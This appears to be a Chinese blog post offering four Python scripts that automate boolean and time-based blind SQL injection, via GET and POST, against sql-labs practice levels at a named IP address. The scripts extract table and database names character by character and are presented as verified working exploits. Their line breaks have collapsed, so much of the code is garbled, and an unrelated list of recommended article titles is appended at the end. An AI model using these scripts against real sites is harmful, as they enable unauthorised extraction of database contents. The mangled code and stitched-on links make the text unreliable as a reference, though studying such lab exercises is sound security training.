以下脚本都用 sql-labs 中的题目进行测试:

sql-labs 靶场:http://43.247.91.228:84/

一,sql注入之 GET传参 之 布尔型:

import requestsresult = ""
url_template = "http://43.247.91.228:84/Less-8/?id=2' and ascii(substr(({0}),{1},1))>{2} %23"
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
url_length = "http://43.247.91.228:84/Less-8/?id=2' and length(({0})) >{1} %23"def get_result_length(payload,value):for n in range(1,100):url = url_length.format(payload,n)response = requests.get(url)length = len(response.text)if length >value:print("……data length is :" + str(n))return  ndef get_db_name(data_length,payload,value):for i in range(1,data_length):for char in chars:url = url_template.format(payload,i,ord(char))response = requests.get(url)length = len(response.text)if length>value:         #根据返回长度的不同来判断字符正确与否global resultresult += charprint("…… data is :"+ result)break#自定义 sql注入语句 payload   分割符 为0
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database() "
# 根据正确访问时错误访问时返回页面文本长度的不同 来设置一个判断值
value = 706
data_length = get_result_length(payload,value)+1
get_db_name(data_length,payload,value)
print(result)

二,sql注入之 GET 传参 之 延时型:

import requests
value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
data=""# 需要 不断 手工调整 url 和 url_length 中的 limit 的第一个参数 来获取下一行的数据
url = "http://43.247.91.228:84/Less-9/?id=1' and if((ascii(substr(({0} limit 1,1),{1},1)) = '{2}'),sleep(3),NULL); %23"
url_length="http://43.247.91.228:84/Less-9/?id=1' and if((length(({0} limit 1,1))={1} ),sleep(3),NULL); %23"
def get_length(payload):for n in range(1,100):url= url_length.format(payload,n)#print(url)if(get_respone(url)):print("[+] length is {0}".format(n))return n
def get_data(payload,value,length):for n in range(1,length):for v in value :url_data = url.format(payload,n,ord(v)) #ord()返回字符的ASCII码#print(url_data)if(get_respone(url_data)):global datadata=data+vprint("[+] data is {0}".format(data))break
def get_respone(url):try:html = requests.get(url,timeout=2)return Falseexcept Exception as e:print("......")return True
#可以更改payload 来获取需要的数据
databse_payload ="select database()"
get_data(databse_payload,value,get_length(databse_payload)+1)

三 sql注入之 POST 传参 之 延时型:

import requests
import time
value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result=""def get_length():#获取数据的长度for n in range(1, 100):payload = "admin' and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)data = {"uname": payload, "passwd": "admin", "submit": "submit"}start_time = time.time()html = requests.post(url, data=data)end_time = time.time()use_time = end_time - start_time #求出请求前后的时间差来判断是否延时了if use_time > 3:print("...... data's length is :"+ str(n))return ndef get_data(length):#获取数据global resultfor n in range(1,length):for v in value:payload = "admin' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload,n,ord(v))data = {"uname":payload,"passwd":"admin","submit":"submit"}start_time = time.time()requests.post(url,data=data)end_time = time.time()use_time = end_time - start_time# 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性if use_time >4:result += vprint("......"+result)url = "http://43.247.91.228:84/Less-15/"data_payload ="select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"length = get_length() + 1   #注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :"+ result)

四 sql注入 之 POST 传参 之 布尔型:

import requestschars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""def get_length(value):  #获取要查询的数据的长度for n in range(1,100):payload = "admin' and length(({0})) ={1} #".format(data_payload,n)data = {"uname":payload,"passwd":"admin"}html = requests.post(url,data=data)length = len(html.text)if length >value:print("……data length is :" + str(n))return  ndef get_data(data_length,value): #获取数据global resultfor i in range(1,data_length):for char in chars:payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))data = {"uname":payload,"passwd":"admin"}html = requests.post(url,data=data)length = len(html.text)if length>value:         #根据返回长度的不同来判断字符正确与否result += charprint("…… data is :"+ result)breakurl = "http://43.247.91.228:84/Less-15/"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
value = 1460     # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看length = get_length(value) +1
get_data(length,value)
print(result)

(以上脚本经过验证没有任何问题)

SQL 盲注GET /POST、布尔型,延时型Python脚本相关推荐

  1. SQL渗透与防御——(三)SQL盲注

    第三章 SQL盲注 1.Boolean-Base布尔型注入 布尔盲注 只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否. 布尔盲注方法 ' ...

  2. 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

    前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...

  3. python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现

    通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...

  4. DVWA下的SQL注入与SQL盲注

    一.SQL注入 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作, ...

  5. DVWA——sql盲注

    一.盲注 与sql注入区别: 盲注只回复是或否,Sql注入回复详细信息: 过程: 1.判断是否存在注入,注入时字符型还是数字型 2.猜解数据库的长度,猜解数据库的名称 3.猜解数据库中有几个表,猜解表 ...

  6. sql盲注特点_sql盲注讲解

    盲注 有时候,开发人员不会把数据库报错信息显示在前端页面,这样就使我们想要通过union注入或报错注入的攻击方式难以实现. 当不显示报错信息的时候,我们还可以通过盲注的方式来对数据库进行注入攻击. 盲 ...

  7. mysql 时间盲注语句,sql注入学习记录(5)-基于时间延迟的SQL盲注

    上次说到了sql注入中的基于报错盲注的基本的方法. 今天说一说报错盲注 基于时间延时的SQL盲注 使用时间延时注入的场景: 1.不能使用union select 联合查询方式注入 2.有些网站没有回显 ...

  8. Dvwa之SQL盲注全级别学习笔记

    SQL盲注 盲注是SQL注入的一种,相比于常规的SQL注入,盲注一般不会返回数据库的数据信息或者语句提示.只会返回管理员设定的特定信息. SQL盲注-测试流程 同样的,和之前DVWA的普通SQL In ...

  9. 你不知道的20万sql盲注(速来)

    1盲注基础sql实验 cet 192.168.121.1 win 192.168.121.2 首先登入cet 进入数据库 然后在mysql客户端输入以下命令 use dvwa : 得到当前数据库名称 ...

最新文章

  1. Mocha BSM基础架构管理——灵活的网络拓扑展现
  2. Latex中的插入表格
  3. Android学习笔记(五)——数据存储(二)SQLite和ContentProvider
  4. 原创译文 | 通过设计让学习变轻松
  5. 聚集索引和非聚集索引的区别有哪些
  6. docker 出现 Error response from daemon
  7. matlab圆形器件,计算围绕点+ Matlab的圆形箱
  8. Gartner:阿里云亚太市场排名第一
  9. Centos7部署轻量级自动化运维工具pssh (亲测)
  10. HDOJ水题集合2:最短路(Dijkstra)
  11. Atiti  qq空间破解(3)------------gui图形化通用cli执行器atiuse
  12. python 实现死亡之ping
  13. python科赫雪花正方形_python—科赫曲线(科赫雪花小包裹)
  14. ISP(六) 空间域图像变换(图像反转、对数变换、幂次变换、分段线性变换、直方图均衡与匹配)
  15. 动态正则化权重系数_PARALLEL LADDER ALGORITHMS BASED ON A PRIORI ERRORS OF PREDICTION AND SIMULATION...
  16. 超越,由此开启——2019甲骨文云大会在上海盛大开幕!
  17. 上市公司碳排放测算数据(1992-2022年)
  18. 再见了青春,联想Y450最后一次升级,真的神一般存在。
  19. 禁止手机浏览器下拉刷新
  20. 计算机灾难性恢复,计算机灾难恢复有哪些不同的选择(Different Options for Computer Disaster Recovery)?...

热门文章

  1. html5离线保存需要联网吗,html5 离线存储
  2. Linux 访问文件的acl信息,linux文件权限管理与ACL访问控制列表
  3. global mapper 制作地形图_福州大飞机模型制作厂家,产品模型,期待合作_境海模型...
  4. 鸿蒙发布官网,鸿蒙发布在即,高情商似乎也非常重要
  5. 五十一、结合百度API接口打造 Python小项目
  6. DNN盛行的当下,老旧的核(kernel)方法或能打开神经网络的魔盒
  7. 问题生成的多样性会在多大程度上帮助下游QA任务?
  8. 从近期两篇论文看大规模商品图嵌入
  9. 社招转行CV算法的心酸之路:越朴素的方法,往往越容易成功!
  10. 岗位推荐 | 腾讯AI Lab招聘计算机视觉方向实习生